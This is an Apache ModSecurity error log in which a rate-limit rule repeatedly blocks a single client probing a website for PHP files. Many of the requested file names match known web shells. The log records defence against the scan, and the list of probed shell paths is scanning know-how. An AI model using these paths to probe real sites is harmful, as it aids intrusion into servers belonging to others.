[Sun Mar 01 15:58:35.670045 2026] [:error] [pid 38241:tid 38259] [client 4.204.200.32:18273] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/an7.php"] [unique_id "aaPxq_KRPk6YnJBxw_xdDQAAAM8"]
[Sun Mar 01 15:58:36.089180 2026] [:error] [pid 38034:tid 38050] [client 4.204.200.32:18265] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aaPxrAxtfZjwlJok9K_LPQAAAQw"]
[Sun Mar 01 15:58:36.500842 2026] [:error] [pid 38034:tid 38038] [client 4.204.200.32:18197] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aaPxrAxtfZjwlJok9K_LPgAAAQI"]
[Sun Mar 01 15:58:36.920655 2026] [:error] [pid 42619:tid 42637] [client 4.204.200.32:18145] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aaPxrB_zUXcYaZE4AOeWlwAAAVA"]
[Sun Mar 01 15:58:37.339175 2026] [:error] [pid 7165:tid 7186] [client 4.204.200.32:18212] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ty.php"] [unique_id "aaPxrRRjCrA8qWBjgG82CwAAAlM"]
[Sun Mar 01 15:58:37.759107 2026] [:error] [pid 44644:tid 44662] [client 4.204.200.32:18399] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brc.php"] [unique_id "aaPxrZ3RJaXMcw3y9V-ztgAAAA8"]
[Sun Mar 01 15:58:38.177840 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18202] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brc.php"] [unique_id "aaPxrgxtfZjwlJok9K_LQgAAAQ0"]
[Sun Mar 01 15:58:38.603897 2026] [:error] [pid 44644:tid 44650] [client 4.204.200.32:18228] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brc.php"] [unique_id "aaPxrp3RJaXMcw3y9V-zuAAAAAM"]
[Sun Mar 01 15:58:39.016880 2026] [:error] [pid 44644:tid 44661] [client 4.204.200.32:18155] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/brc.php"] [unique_id "aaPxr53RJaXMcw3y9V-zuQAAAA4"]
[Sun Mar 01 15:58:39.431082 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18119] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aaPxr_KRPk6YnJBxw_xdGQAAAMg"]
[Sun Mar 01 15:58:39.844873 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18122] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aaPxr_KRPk6YnJBxw_xdHAAAAMQ"]
[Sun Mar 01 15:58:40.266685 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18195] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aaPxsPKRPk6YnJBxw_xdIAAAAMg"]
[Sun Mar 01 15:58:40.680970 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18279] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aaPxsPKRPk6YnJBxw_xdJAAAAMo"]
[Sun Mar 01 15:58:41.102298 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18156] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "aaPxsfKRPk6YnJBxw_xdJwAAANc"]
[Sun Mar 01 15:58:41.514768 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18159] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "aaPxsfKRPk6YnJBxw_xdKwAAAMQ"]
[Sun Mar 01 15:58:41.933686 2026] [:error] [pid 38034:tid 38043] [client 4.204.200.32:18233] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "aaPxsQxtfZjwlJok9K_LSgAAAQU"]
[Sun Mar 01 15:58:42.356081 2026] [:error] [pid 7165:tid 7188] [client 4.204.200.32:18170] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "aaPxshRjCrA8qWBjgG82DAAAAlU"]
[Sun Mar 01 15:58:42.780590 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18207] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fr/ms.php"] [unique_id "aaPxsvKRPk6YnJBxw_xdLwAAANc"]
[Sun Mar 01 15:58:43.205476 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18128] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fr/ms.php"] [unique_id "aaPxs_KRPk6YnJBxw_xdNAAAAMQ"]
[Sun Mar 01 15:58:43.617995 2026] [:error] [pid 44644:tid 44656] [client 4.204.200.32:18222] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fr/ms.php"] [unique_id "aaPxs53RJaXMcw3y9V-zvQAAAAk"]
[Sun Mar 01 15:58:44.031964 2026] [:error] [pid 7165:tid 7170] [client 4.204.200.32:18129] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fr/ms.php"] [unique_id "aaPxtBRjCrA8qWBjgG82EAAAAkM"]
[Sun Mar 01 15:58:44.444773 2026] [:error] [pid 38241:tid 38263] [client 4.204.200.32:18230] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaPxtPKRPk6YnJBxw_xdOAAAANM"]
[Sun Mar 01 15:58:44.855859 2026] [:error] [pid 7165:tid 7182] [client 4.204.200.32:18429] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaPxtBRjCrA8qWBjgG82EwAAAk8"]
[Sun Mar 01 15:58:45.274108 2026] [:error] [pid 42619:tid 42644] [client 4.204.200.32:18050] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaPxtR_zUXcYaZE4AOeWmAAAAVc"]
[Sun Mar 01 15:58:45.693197 2026] [:error] [pid 42619:tid 42630] [client 4.204.200.32:18136] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Ov-Simple1.php"] [unique_id "aaPxtR_zUXcYaZE4AOeWmQAAAUk"]
[Sun Mar 01 15:58:46.106564 2026] [:error] [pid 44644:tid 44652] [client 4.204.200.32:18085] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gool.php"] [unique_id "aaPxtp3RJaXMcw3y9V-zwwAAAAU"]
[Sun Mar 01 15:58:46.524283 2026] [:error] [pid 38034:tid 38052] [client 4.204.200.32:18134] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gool.php"] [unique_id "aaPxtgxtfZjwlJok9K_LUwAAAQ4"]
[Sun Mar 01 15:58:46.941692 2026] [:error] [pid 37032:tid 37052] [client 4.204.200.32:18053] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gool.php"] [unique_id "aaPxtuu0U4o7eSImsVRPbwAAAZI"]
[Sun Mar 01 15:58:47.360130 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:18116] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gool.php"] [unique_id "aaPxt_KRPk6YnJBxw_xdPgAAAM4"]
[Sun Mar 01 15:58:47.775689 2026] [:error] [pid 38241:tid 38254] [client 4.204.200.32:18232] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aaPxt_KRPk6YnJBxw_xdPwAAAMo"]
[Sun Mar 01 15:58:48.190072 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18374] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aaPxuPKRPk6YnJBxw_xdQwAAAMU"]
[Sun Mar 01 15:58:48.604866 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18196] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aaPxuPKRPk6YnJBxw_xdRgAAAMU"]
[Sun Mar 01 15:58:49.022282 2026] [:error] [pid 38241:tid 38249] [client 4.204.200.32:18049] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aaPxufKRPk6YnJBxw_xdSwAAAMU"]
[Sun Mar 01 15:58:49.442256 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:18125] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aaPxufKRPk6YnJBxw_xdVAAAAM4"]
[Sun Mar 01 15:58:49.875723 2026] [:error] [pid 42619:tid 42639] [client 4.204.200.32:18223] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aaPxuR_zUXcYaZE4AOeWmwAAAVI"]
[Sun Mar 01 15:58:50.287292 2026] [:error] [pid 38241:tid 38259] [client 4.204.200.32:18219] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aaPxuvKRPk6YnJBxw_xdVgAAAM8"]
[Sun Mar 01 15:58:50.707144 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18363] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aaPxuvKRPk6YnJBxw_xdWAAAANc"]
[Sun Mar 01 15:58:51.121590 2026] [:error] [pid 38241:tid 38259] [client 4.204.200.32:18264] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rum.php"] [unique_id "aaPxu_KRPk6YnJBxw_xdXAAAAM8"]
[Sun Mar 01 15:58:51.533083 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18211] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rum.php"] [unique_id "aaPxu_KRPk6YnJBxw_xdYAAAAMQ"]
[Sun Mar 01 15:58:51.959989 2026] [:error] [pid 38241:tid 38248] [client 4.204.200.32:18169] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rum.php"] [unique_id "aaPxu_KRPk6YnJBxw_xdZgAAAMQ"]
[Sun Mar 01 15:58:52.376995 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18206] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rum.php"] [unique_id "aaPxvPKRPk6YnJBxw_xdagAAAMk"]
[Sun Mar 01 15:58:52.795201 2026] [:error] [pid 37032:tid 37047] [client 4.204.200.32:18113] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaPxvOu0U4o7eSImsVRPdAAAAY0"]
[Sun Mar 01 15:58:53.209051 2026] [:error] [pid 38241:tid 38258] [client 4.204.200.32:18120] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaPxvfKRPk6YnJBxw_xdbwAAAM4"]
[Sun Mar 01 15:58:53.627213 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18161] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaPxvfKRPk6YnJBxw_xdcgAAANc"]
[Sun Mar 01 15:58:54.065473 2026] [:error] [pid 38241:tid 38256] [client 4.204.200.32:18229] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaPxvvKRPk6YnJBxw_xddAAAAMw"]
[Sun Mar 01 15:58:54.475314 2026] [:error] [pid 7165:tid 7188] [client 4.204.200.32:18147] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaPxvhRjCrA8qWBjgG82GQAAAlU"]
[Sun Mar 01 15:58:54.887590 2026] [:error] [pid 38034:tid 38043] [client 4.204.200.32:18059] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaPxvgxtfZjwlJok9K_LXgAAAQU"]
[Sun Mar 01 15:58:55.299933 2026] [:error] [pid 37032:tid 37053] [client 4.204.200.32:18094] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaPxv-u0U4o7eSImsVRPdgAAAZM"]
[Sun Mar 01 15:58:55.717610 2026] [:error] [pid 38034:tid 38036] [client 4.204.200.32:18054] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aaPxvwxtfZjwlJok9K_LYgAAAQA"]
[Sun Mar 01 15:58:56.134738 2026] [:error] [pid 38241:tid 38267] [client 4.204.200.32:18257] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaPxwPKRPk6YnJBxw_xdegAAANc"]
[Sun Mar 01 15:58:56.556168 2026] [:error] [pid 38034:tid 38051] [client 4.204.200.32:18123] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaPxwAxtfZjwlJok9K_LZgAAAQ0"]
[Sun Mar 01 15:58:56.973999 2026] [:error] [pid 38241:tid 38253] [client 4.204.200.32:18235] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaPxwPKRPk6YnJBxw_xdewAAAMk"]
[Sun Mar 01 15:58:57.391336 2026] [:error] [pid 38241:tid 38252] [client 4.204.200.32:18342] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/clasa99.php"] [unique_id "aaPxwfKRPk6YnJBxw_xdfAAAAMg"]
[Sun Mar 01 15:58:57.807843 2026] [:error] [pid 38241:tid 38245] [client 4.204.200.32:18048] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaPxwfKRPk6YnJBxw_xdfwAAAME"]
[Sun Mar 01 15:58:58.221554 2026] [:error] [pid 38241:tid 38259] [client 4.204.200.32:18199] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex.php7"] [unique_id "aaPxwvKRPk6YnJBxw_xdgQAAAM8"]
